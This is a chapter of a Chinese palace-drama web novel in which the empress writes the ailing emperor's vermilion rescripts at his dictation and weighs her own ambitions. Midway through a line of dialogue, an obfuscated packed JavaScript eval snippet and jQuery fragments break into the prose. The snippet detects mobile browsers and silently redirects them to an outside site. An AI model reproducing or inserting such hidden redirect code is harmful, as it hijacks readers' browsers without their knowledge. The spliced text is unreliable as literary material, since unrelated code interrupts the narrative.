115. 试朱笔

元嘉本想着,借着燕景祁今次身感不适的机会,一点点在男人的心里埋下顾虑,不曾想接下来的发展却远远超出了她的预料。


她带着燕明昱离开后的第二日,燕景祁便又回了宣政殿听议政事。期间与诸大臣谈断朝务时一切无异,可等到回了后殿,却有走的稍晚之人见皇帝身边的申时安神色慌张地奔向太医署,而后在第三日传出了罢朝的旨意。


一时间,朝野议论纷纷。


风声传到元嘉的耳朵里时,正是第三日的午后。彼时,元嘉正捧了盅煨得软烂的肉羹,哄着已放下汤匙的燕明昱多吃两口,闻言动作一顿,先将瓷盅递给一旁等候的奶母,又从拂冬手里接过擦拭用的帕巾,一边揩着指尖,一边不紧不慢地开口:“这群大臣,近来是没旁的事情可操心了么……不过是一日不上朝罢了,也用得着他们如此谈论?”


“说是担心陛下龙体,又说陛下为太子至今,从未缺过一次朝会,今日此举实在异常,更有人将申内官跑去太医署的场面描绘得好似亲临一般……连咱们都能听说了,其他地方只怕传得还厉害些呢!”


逢春搬了个矮凳坐在下首,正替元嘉收拾写废了的临帖,不时往燕明昱的方向瞥去一眼,此刻听了元嘉的话,粗略回忆了几瞬,便将自己听来的话俱数相告。


元嘉轻笑一声,却未有深问,反提起另一桩不相关的事情来,“你瞧我近日临的那些字,可与这字帖上的相似了?”


逢春闻言低头,细细打量了一番拿在手里的临帖,好一阵才无奈摇头,“女君这是为难奴婢呢,奴婢看来看去,只觉得这些字都长一个模样呢。”


“是么……”


元嘉不置可否,同样盯着逢春手里的临帖打量,不知又想到了什么,眼中掠过一丝深思。


正当时,红玉从殿外走了进来,绕过屏风停在元嘉跟前,皱着眉,口气亦有些不好,“女君,钱宝林又来了,说是要亲自给您和咱们郎君请罪,奴婢怎么劝说都不肯走。”


原是那日过后,也不知燕景祁是如何吩咐的,总之元嘉前脚将绣娘送去钱宝林宫室,后脚便有紫宸殿的宫人过去训斥,将钱宝林闹了好大一个没脸……眼下跑过来说要请罪,只怕也是为此事的缘故。


“……去告诉她,这些都是陛下对她的恩赏。什么请罪,分明该去陛下面前谢恩才是,她若是委屈,便自去找陛下陈情,不要跪在清宁宫的地砖上。”元嘉态度冷淡,“若还守在外头不肯走,就不要怪予不念着彼此的姊妹情分了。”


红玉神色一凛,低声道了句是,便又脚步匆匆地离开了。


元嘉回过头,见燕明昱正目不转睛地盯着自己,奶母则捏着汤匙在一旁左右为难,蓦地笑出声来,“阿昱,再多吃两口,吃饱了,阿娘领着你去给爹爹请安。你不是会写自己的名字了么,带过去给爹爹看,好不好?”


燕明昱顿时雀跃起来,也不等奶母再动作,便抢过前者手里的汤匙,埋着头自己吃起肉羹来。元嘉柔了神色,又朝逢春抬了抬下巴,前者便会意地出去安排。


……


与前日过来时的场景别无二致──元嘉领着燕明昱进殿时,鞍前马后跑腿的依旧是祥顺,而申时安与兰华,也再一次从紫宸殿退了出来,更带走了数名侍立服侍的宫人,唯剩空气中弥漫的一缕药香。


“爹爹!”燕明昱轻车熟路地绕过屏风,带着自己写的字,又一次扑上了燕景祁的床榻,“……看!阿昱写的字!”


可这一次,元嘉却迟迟没有等到男人强撑无恙的答复,少顷传来幼童小心翼翼的询问,“爹爹……很难受么?”


到这时,燕景祁才发出一声含糊不清的闷哼,却仍没有回应燕明昱的话,又缓了缓才问道——


“……嘉娘,在外头么?”


元嘉这才走到男人榻前,饶是前者的视线不曾落在她的身上,也依旧屈膝行了礼,而后才答道:“三郎,我在。”


床榻上的燕景祁,哪怕已全然白了一张脸,却仍撑起了半边身子,一手搂住明显收了力道的燕明昱,一手勉力拿着前者胡乱写就的几页纸,整个人透出深深的倦累。


“……嘉娘如今还在习帖吗?”


大抵是真的难受,男人连说话都显得力不从心起来,每一个字从像是从喉咙深处挤出来的一般。


“是,三郎给的字帖,我每日都练着。只是要写成三郎那样的字,还有的下工夫呢。”


元嘉坐在燕景祁身边,此刻垂了眼帘,扇似的长睫微微颤动,也一并将眸中翻滚的思绪掩盖。


“书桌上有研好的未用尽的墨……嘉娘,用它写两个字给我看看吧。”


燕景祁中途停顿了一下,似是犹疑不定,又似只是难忍身上的不适,总之到最后还是将这句话说出了口。


元嘉应了声是,按着男人的吩咐走到书桌后头,只堪堪铺好宣纸,便再不见其他动作——无他,桌上摆着的,只有鲜红的朱砂。而她能握着的,也只有御批的朱笔。


自己想要的东西就在眼前,元嘉却陡然生出几分怯意。她拿捏不准这是不是燕景祁的又一次试探,亦害怕今日之后,她强压在心里的那点野望就再遮掩不住了。


几番挣扎之下,元嘉的目光越过堆积如山的奏章,又朝榻上之人望去,可男人早不知何时半合上了眼。与元嘉视线交织的,是燕明昱那双澄澈纯净的眸眼,带着对世间一切的懵懂之态,此刻正全然信任地瞧着元嘉,甚至咧嘴露了个大大的笑。


看着稚子的笑脸,元嘉一时发昏的大脑陡然清醒过来──她如今是在急切什么呢?元嘉在心底暗暗唾骂了自己两句,将那点不为人知的小心思再度藏了回去。


“……还是让申时安进来吧,还有兰华。他二人服侍三郎已久,一人替三郎口念,一人替三郎笔录。我的字,便不在三郎面前献丑了。”


“我一句旁的话都还没说,你这会儿就在担心什么了……皇后?”


燕景祁的声音仍有些虚弱,却已然抬起了眼皮,又带着几分隐晦的不快看向元嘉。


是了,燕景祁继位几载,威严权势早不可同日而语,谁会去反驳皇帝的命令呢……便是她自己,自当年那一场争执后,再与男人相处时,也仍是面上和睦的。


“我担心什么……是啊,我担心什么呢。”元嘉蓦地笑出声来,“陛下说,妾身是在担心什么呢?”


“朕还以为,皇后对朕患有头风的事情早已心知肚明了。”燕景祁紧紧盯着元嘉,“皇后心细如发,又自来关心朕的身体,如今要你替朕分忧解难,怎么反倒为难起来了?”


不料燕景祁会在此时挑明自己的病疾,元嘉脸上明显有些错愕,但很快又冷静下来,头脑发胀时被忽略掉的事情在此刻复又明晰……男人只是受头风侵袭后的权宜之计,所以才会在今日、在种种偶然之下对自己放了更大的权。可来日好转,不管是燕景祁自己想起,亦或是被有心人提及,都难保不对她生出隔阂,更可能因此害了她的阿昱。


她还不到能下赌注的地步。


“……陛下如今,已是世人皆知的贤皇帝,便是底下的布衣百姓,都知道陛下的勤政之名,他日史书工笔,想来亦不缺后人褒赞。”


元嘉先夸了一句,很快又冷下声音道,“可妾身却不愿自己受人诟病。从前种种,尚可以归因于陛下授意,妾身不过听命行皇后事罢了。可今日,若妾身在上面落了字,便是犯上僭越。他朝被觉出端倪,根本无从辩驳……陛下既要那流芳百世的好名声,难道还会再容我这个身有污名的皇后么?”


元嘉丝毫不惧男人的逼视,更不等前者开口,便又继续道:“陛下既有不适,便该好生休养。朝中事自有文武大臣主持,再不济,也还有端王这位兄弟撑着……不过几日光阴,陛下又何必非让妾身去冒险呢。”


至于这其中有几分真意,便另当别论了。而她将话说到这份上,亦是想逼得燕景祁一个准信──她季元嘉今日所行乃奉皇命,此后若再有行,也是遵从燕景祁这位皇帝的意思,旁人不能、也无从置喙。


燕景祁慢慢拧起眉头,他的视线在元嘉脸上来回扫动,像是在确认前者的话里有几分可信。手边忽而传来几声窸窣响动,引得男人下意识低头——安静了许久的燕明昱在这时候搂紧了他的手臂,又小心翼翼地将脸埋进他的颈窝。幼童或许尚不明白方才发生在殿内的暗潮意味着什么,但仍能敏锐地察觉到自家父母愈发激烈的言辞。


燕景祁安抚般往燕明昱背上抚了几下,再抬头时面上已褪去审视,以更加和缓的语气道:“为皇后者,为国分忧;为人妻者,替夫分忧。你今日听从我的话,是替我分忧,何须担心……本也不必担心。”


“这话,是陛下的意思,还


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933588|154513||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


是……三郎的意思?”


元嘉继续追问。


“是陛下,也是三郎。”


燕景祁又是一阵沉默,终是道。


元嘉心下陡然一松,不管真假何如,至少男人愿意开这个口,于她,便又多了一层保障。


重又垂下眼帘,元嘉将目光停留在空白的宣纸之上,左手抚平折痕,右手提起狼毫,笔锋掠过朱砂,动作一气呵成,白纸顷刻间被朱红洇透。


不多时,元嘉悬腕而止。


“……到底还是比不上三郎的字。”


元嘉默默打量了两眼,最终无奈地将笔搁下,语气颇有些遗憾。


燕景祁闻言,浅浅抬了下眼皮,又伸手接过元嘉递来的纸张,垂目扫了两眼,“……已具神形,剩下的便只是时间的问题了。”


说着,又用指尖在元嘉所写字迹的某两处轻点了几下。


元嘉自是应下不提。


燕景祁颔首,复道:“前次你读过的那本,就放在那一摞奏章的最上面……打开它,我念一句,你写一句。”


竟已积攒了几日的朝政没有处理。


元嘉退后两步,取了奏章又回到书桌后头坐下,笔尖再一次沾上朱砂,手腕微悬,只等着燕景祁开口。


“……卿所奏之事……朕闻……着令……照此办理……”


元嘉敛目细听,又一笔一划地写上去。


燕景祁也不是每一份奏章都批阅得仔细,诸如请安、进贡一类的文书,便也只会让元嘉简单写上一两个字,示意知悉罢了。如此,一人口述,一人撰记,又过了近两个时辰,积在书桌上的那一摞奏章才堪堪被扫净。


元嘉长舒了口气,总算将悬了许久的毫笔放下,左手握住右手手腕,或轻或重地按捏着。好一会儿,酸胀的感觉才有所缓解。


她从座椅上起身,又行至燕景祁榻前。本想着今日耽搁许久,或许已误了男人服药的时辰,此刻先带着燕明昱告退离去为宜。不想这小小孩童仍旧精神抖擞,虽还老实倚在男人怀里,一双圆滚的眼珠子却不住地转来转去,半点没被方才沉闷的说话与写字声搅扰,甚至连一丝困意也无。


元嘉惊讶地一抬眼,“……这是没睡?”


燕景祁轻笑一声,还不及说话,便听见燕明昱自己答道:“阿昱不困!不睡觉!”


小孩子年纪轻,他二人说的又都是些前朝政事,所言繁冗,燕明昱不觉困倦,倒也是奇事。


元嘉亦柔了神色,“今日已陪了爹爹许久,爹爹也要休息了。阿昱下来,该和娘亲回清宁宫了。”


燕明昱唔了一声,顺从地从榻上爬下来,先喊了声“爹爹”,又扯了扯元嘉衣角,仰头问道:“阿娘,那我明日还可以来找爹爹吗?”


这便不是她能许诺的了……且燕景祁头风发作,如今尚自顾不暇,怕也不乐意日日被人打扰,哪怕这个人是他的骨肉。


“明日来,后日也来……跟你娘亲一起来。”


燕景祁抬手抚了抚燕明昱发顶,面色虽苍白,声音却多出几分清朗。


元嘉又看向男人。


“……你每日这个时辰,都带着阿昱过来。”燕景祁显出几分躁烦,“朕、我这一次发作的厉害怕是小半个月都不得安生。”


“是。”元嘉并不多问,只垂目答应了一句,又关心起男人身体来,“天色渐晚,不好再误了三郎服药的时辰,我这就让申时安他们入内侍奉。”


见燕景祁微微颔首,这才搂着燕明昱与之道别,随后离了紫宸殿。


……


那之后的半个月,元嘉就带着燕明昱往返于清宁宫与紫宸殿之间,按着燕景祁的吩咐,替他读本、写字。有时也能碰上大臣们聚在前殿议事,那时她便带着燕明昱自觉避去后殿,不听,也不问。若遇上燕景祁头疾发作的厉害,便也会置座屏风、放下帘子,坐在另一侧的书桌后头,替燕景祁撰录要点,记些事,也记些人。


皇帝染疾不入后宫,皇后却带着唯一的皇子日日往帝王寝殿跑,前朝勉强算是风平浪静,后宫却不知有多少人在私底下翻了风浪。


好在半月过去,燕景祁的头风好了大半,也可以如常去宣政殿议事了,元嘉便也顺势回了清宁宫,不再按日往紫宸殿点卯。


虽有些遗憾,可到底来日方长,也不必在这当头争先于人前。